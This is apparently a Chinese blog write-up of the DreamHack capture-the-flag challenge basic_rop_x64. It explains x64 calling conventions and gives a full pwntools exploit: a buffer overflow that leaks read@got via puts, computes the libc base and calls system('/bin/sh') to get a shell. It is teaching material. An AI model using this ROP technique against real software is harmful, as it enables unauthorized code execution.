【How2Pwn】DreamHack x64下的ROP问题
0x00 代码
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>void alarm_handler() {puts("TIME OUT");exit(-1);
}void initialize() {setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);signal(SIGALRM, alarm_handler);alarm(30);
}int main(int argc, char *argv[]) {char buf[0x40] = {};initialize();read(0, buf, 0x400);write(1, buf, sizeof(buf));return 0;
}
题目链接
0x01 代码状态
$ checksec ./basic_rop_x64
[*] '/home/--/workspace/dreamhack/ASLR_NX/rop/basic_rop_x64'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
可以看到这次是64位环境下的问题,而32位和64位最大的不同就是函数调用时采用的是不同的规则,64位是先将先将数据存入寄存器,如果寄存器不够用再调用stack。32位则是直接利用stack来保存必要的数据。
寄存器如下
rax -> 通常用于储存函数调用返回的结果
rbx
rcx -> 第4个参数
rdx -> 第3个参数
rsi -> 传递函数第2个参数
rdi -> 传递函数第1个参数
-------------------------------------------- 通用寄存器
rbp -> 当前栈帧起始位置,通常指向栈底
rsp -> 堆栈指针寄存器,通常指向栈顶
r8 -> 第5个参数
r9 -> 第6个参数
r10
r11
…
比较特殊的
rip -> 存放下一条指令的偏移地址
rsp -> 存放当前栈帧的栈顶偏移地址
rbp -> 存放当前栈帧的栈底偏移地址
rax -> 通用寄存器,存放返回值
另外,可以发现这段代码没有开启canary和PIE,只开启了NX。这意味这我们很难使用shellcode的方式得到shell,所以还是使用ROP的方式进行。由于程序没有开启RELRO,所以GOT表是有write权限的,意味着我们也可以使用GOT overwrite方法来取得shell。这里先使用计算system函数并且直接呼出的办法进行ROP。
0x02 分析
1. system函数没有记录
和上一个题目不同,之前没有调用过system函数(大部分时候也不会),所以我们要想办法求出system函数的地址。至于"/bin/sh"要怎么得到,需要思考一下。
2. 存在overflow漏洞
0x03 设计Exploit
1. Overflow
通过gdb找到 buf 的地址
0x00000000004007e7 <+45>: lea rax,[rbp-0x40] <---在这里0x00000000004007eb <+49>: mov edx,0x4000x00000000004007f0 <+54>: mov rsi,rax0x00000000004007f3 <+57>: mov edi,0x00x00000000004007f8 <+62>: call 0x4005f0 <read@plt>
2. 求system函数地址
题目给了一个库"libc.so.6",而我们需要的system函数也在这个库中。不只是system函数,这个库中还包含了read, printf, write等一系列函数。这里需要注意一点,库在映射到内存的过程中是以整体的形式进行,也就是说虽然不清楚库的位置,但是库内函数的距离是不会随着映射而改变的。所以需要利用这一点,通过其他函数来求出库的偏移量,从而计算出system函数的地址。
3. 返回main,用第二次read函数执行system(“/bin/sh”)
因为这个程序只有一次使用read函数的机会,所以我们发送一段payload计算出system函数地址之后要返回main函数。重新执行第二个payload,最后通过使用system和"/bin/sh"来获得shell。
0x04 编写Exploit
1. Overflow
在read函数调用时,输入0x40+0x8(sfp)来达到ret地址。
2. 计算system函数地址
源代码中调用过read函数,也就是说read函数被记录在got表中的,我们可以利用read函数在got表中的地址减去在库中read函数的地址得到库整体的偏移量。但是首先要找到一个合适的函数输出read@got。用 info func 指令查看程序包含的函数。
$ info func
0x0000000000400590 _init
0x00000000004005c0 puts@plt <---这里
0x00000000004005d0 write@plt
0x00000000004005e0 alarm@plt
0x00000000004005f0 read@plt
0x0000000000400600 __libc_start_main@plt
0x0000000000400610 signal@plt
0x0000000000400620 setvbuf@plt
0x0000000000400630 exit@plt
0x0000000000400640 __gmon_start__@plt
0x0000000000400650 _start
0x0000000000400680 deregister_tm_clones
0x00000000004006c0 register_tm_clones
0x0000000000400700 __do_global_dtors_aux
0x0000000000400720 frame_dummy
0x0000000000400746 alarm_handler
0x000000000040075e initialize
0x00000000004007ba main <---这里
0x0000000000400820 __libc_csu_init
0x0000000000400890 __libc_csu_fini
0x0000000000400894 _fini
可以用于输出的函数有 write 和 puts 两个,但是write需要三个变量才能调用,而puts只用一个变量就可以,比较方便。所以我们用puts函数对read@got进行输出。
write(int fd,const void*buf,size_t count);
puts(const char *string);
决定了需要用到的函数之后,在info func,可以找到puts@plt,main。在read函数之后设置断点,再输入got查看got表,找到read@got的地址。
pwndbg> gotGOT protection: Partial RELRO | GOT functions: 8[0x601018] puts@GLIBC_2.2.5 -> 0x4005c6 (puts@plt+6) ◂— push 0 /* 'h' */
[0x601020] write@GLIBC_2.2.5 -> 0x4005d6 (write@plt+6) ◂— push 1
[0x601028] alarm@GLIBC_2.2.5 -> 0x7ffff7ea5d90 (alarm) ◂— endbr64
[0x601030] read@GLIBC_2.2.5 -> 0x7ffff7ed0fc0 (read) ◂— endbr64 <---这里
[0x601038] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7de6f90 (__libc_start_main) ◂— endbr64
[0x601040] signal@GLIBC_2.2.5 -> 0x7ffff7e05f00 (ssignal) ◂— endbr64
[0x601048] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e47ce0 (setvbuf) ◂— endbr64
[0x601050] exit@GLIBC_2.2.5 -> 0x400636 (exit@plt+6) ◂— push 7
最后一步就是需要找到我们需要的gadget
$ ROPgadget --binary ./basic_rop_x64 --re "pop rdi"
Gadgets information
============================================================
0x0000000000400883 : pop rdi ; retUnique gadgets found: 1
第一段payload
from pwn import *
p = process("./basic_rop_x64")libc = ELF('./libc.so.6')main = 0x4007ba
pop_rdi = 0x400883
puts_plt = 0x4005c0
read_got = 0x601030#overflow
payload = b'A'*0x48#[1]puts("read_got") and return to main
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) + p64(main)p.send(payload)sleep(1)#[2]libc base and system
print(p.recvuntil('A'*0x40))# 通过查看库中函数的地址可以知道,前两位都是由\x00构成
read = u64(p.recvn(6)+b'\x00\x00')
print("leak --> "+ str(hex(read)))lb = read - libc.symbols['read']
print("libc base --> "+ str(hex(lb)))system = lb + libc.symbols['system']
print("system --> " + str(hex(system)))binsh = lb + list(libc.search(b"/bin/sh"))[0]
print("binsh --> "+ str(hex(binsh)))
看一下运行的结果
$ python ex_x64.py
[+] Starting local process './basic_rop_x64': pid 2495
[*] '/home/--/workspace/dreamhack/ASLR_NX/rop/libc.so.6'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
ex_x64.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesprint(p.recvuntil('A'*0x40))
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
leak --> 0x7fae68666fc0
libc base --> 0x7fae68592c70
system --> 0x7fae685cd5b0
binsh --> 0x7fae686ebc9b
第二段payload
overflow之后返回system(“/bin/sh”)从而得到shell。
#system(binsh)
payload2 = b'B'*0x48
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)p.send(payload2)
p.interactive()
0x05 Exploit
from pwn import *
p = process("./basic_rop_x64")libc = ELF('./libc.so.6')main = 0x4007ba
pop_rdi = 0x400883
puts_plt = 0x4005c0
read_got = 0x601030#overflow
payload = b'A'*0x48#[1]puts("read_got") and return to main
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) + p64(main)p.send(payload)sleep(1)#libc base
print(p.recvuntil('A'*0x40))read = u64(p.recvn(6)+b'\x00\x00')
print("leak --> "+str(hex(read)))lb = read - libc.symbols['read']
print("libc base --> "+str(hex(lb)))system = lb + libc.symbols['system']
print("system --> " + str(hex(system)))binsh = lb + list(libc.search(b"/bin/sh"))[0]
print("binsh --> "+str(hex(binsh)))#system(binsh)
payload2 = b'B'*0x48
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)p.send(payload2)
p.interactive()
有不到位的或是错误的地方,请直接评论或者私信我。
参考资料
Exploit思路
write函数解析
puts函数解析
【How2Pwn】DreamHack x64下的ROP问题相关推荐
- [系统底层] x86和x64下ssdt的差异
2019独角兽企业重金招聘Python工程师标准>>> X86和x64下ssdt的差异 首先介绍一下SSDT相关的结构体 PVOID无类型指针,x86下32位,x64下64位 结构体 ...
- Ubuntu 12.04 x64 下安装 GStreamer+FFmpeg+Opencv
Ubuntu 12.04 x64 下安装 GStreamer+FFmpeg+Opencv 近期,因为安装这三个开发软件,搞编译环境,上网找方法,足足耗费了我一个多星期的时间,现在将经验记录一下,在虚拟 ...
- 在X32与X64下,每种数据类型占用的字节数
在X32与X64下,每种数据类型占用的字节数分别如下: X32 X64 指针 ...
- win10 x64下安装oracle 12c出现[INS-30131]报错的解决方案
win10 x64下安装oracle 12c出现[INS-30131]报错的解决方案 参考文章: (1)win10 x64下安装oracle 12c出现[INS-30131]报错的解决方案 (2)ht ...
- x64下进程保护HOOK
目录 x64(32)下的进程保护回调. 一丶进程保护线程保护 1.简介以及原理 1.2 代码 1.3注意的问题 二丶丶回调函数写法 2.1 遇到的问题. 2.2 回调代码 x64(32)下的进程保护回 ...
- python access violation_Python x64下ctypes动态链接库出现access violation的原因分析
access violation error in Python x64 when using ctypes (caused by pointer) 问题描述 似乎这个问题仅存在于Windows下Py ...
- win7 x64下安装python-opencv 及 “not a supported wheel”解决
Windows7 x64下在已经完成安装pip和Python(3.5.2)后安装opencv的步骤: (1)下载opencv python安装文件 下载地址:http://www.lfd.uci.ed ...
- (转)完美解决中国工商银行第一代网银U盾(NETPASS)在WIN7 x64下的使用问题
http://bbs.pcbeta.com/viewthread.php?tid=591837 http://bbs.pcbeta.com/archiver/tid-591837.html 远景论坛 ...
- VS2015默认不支持x64下__asm{}内联汇编的解决方案(含资源共享)
截至目前(2018年底2019年初),本人windows平台下的各种开发所用的IDE主要就是VS2015.虽然VS2017已经出来一年多了,本人也自己使用过一段时间,但没发现特别大的亮点,又考虑到整个 ...
最新文章
- python有时候没有智能提示_python没有报错提示
- 杨强 : 迁移学习——人工智能的最后一公里
- 万变不离其中----SQL必记语法
- python爬虫技术可以干什么-Python实战:网络爬虫都能干什么?
- php 查询数据库 刷新,这个每次刷新都要去数据库里面查询一遍吗?
- 服务器系统2012怎么多人连接,windows2012服务器TCP连接数
- 常用于评价回归模型优劣的统计量包括( )。_第四十一讲 R-判断回归模型性能的指标...
- Java抽象类、接口、类的特殊成员
- 操作系统中死锁的概念
- linux安全基线检查,CentOS Linux 7安全基线检查
- 蓝桥杯 ADV-177算法提高 理财计划
- 毕设+电路板(BTN7960驱动电路+LM2596/AMS117稳压电路+蜂鸣器+STM32F103C8T6最小系统电路)
- 小程序公众图标素材6113个菜单栏素材
- 古体字与简体字对照表_中文簡体字与繁体字对照表
- 常见的直流稳压电源电容有哪些?及其详细介绍
- LaTex 插入超链接
- 这就是2020:全球云计算十一大年度话题盘点
- VSCode远程连接ubuntu服务器
- 数据库外键级联修改删除
- jmeter测试之参数Shar256加密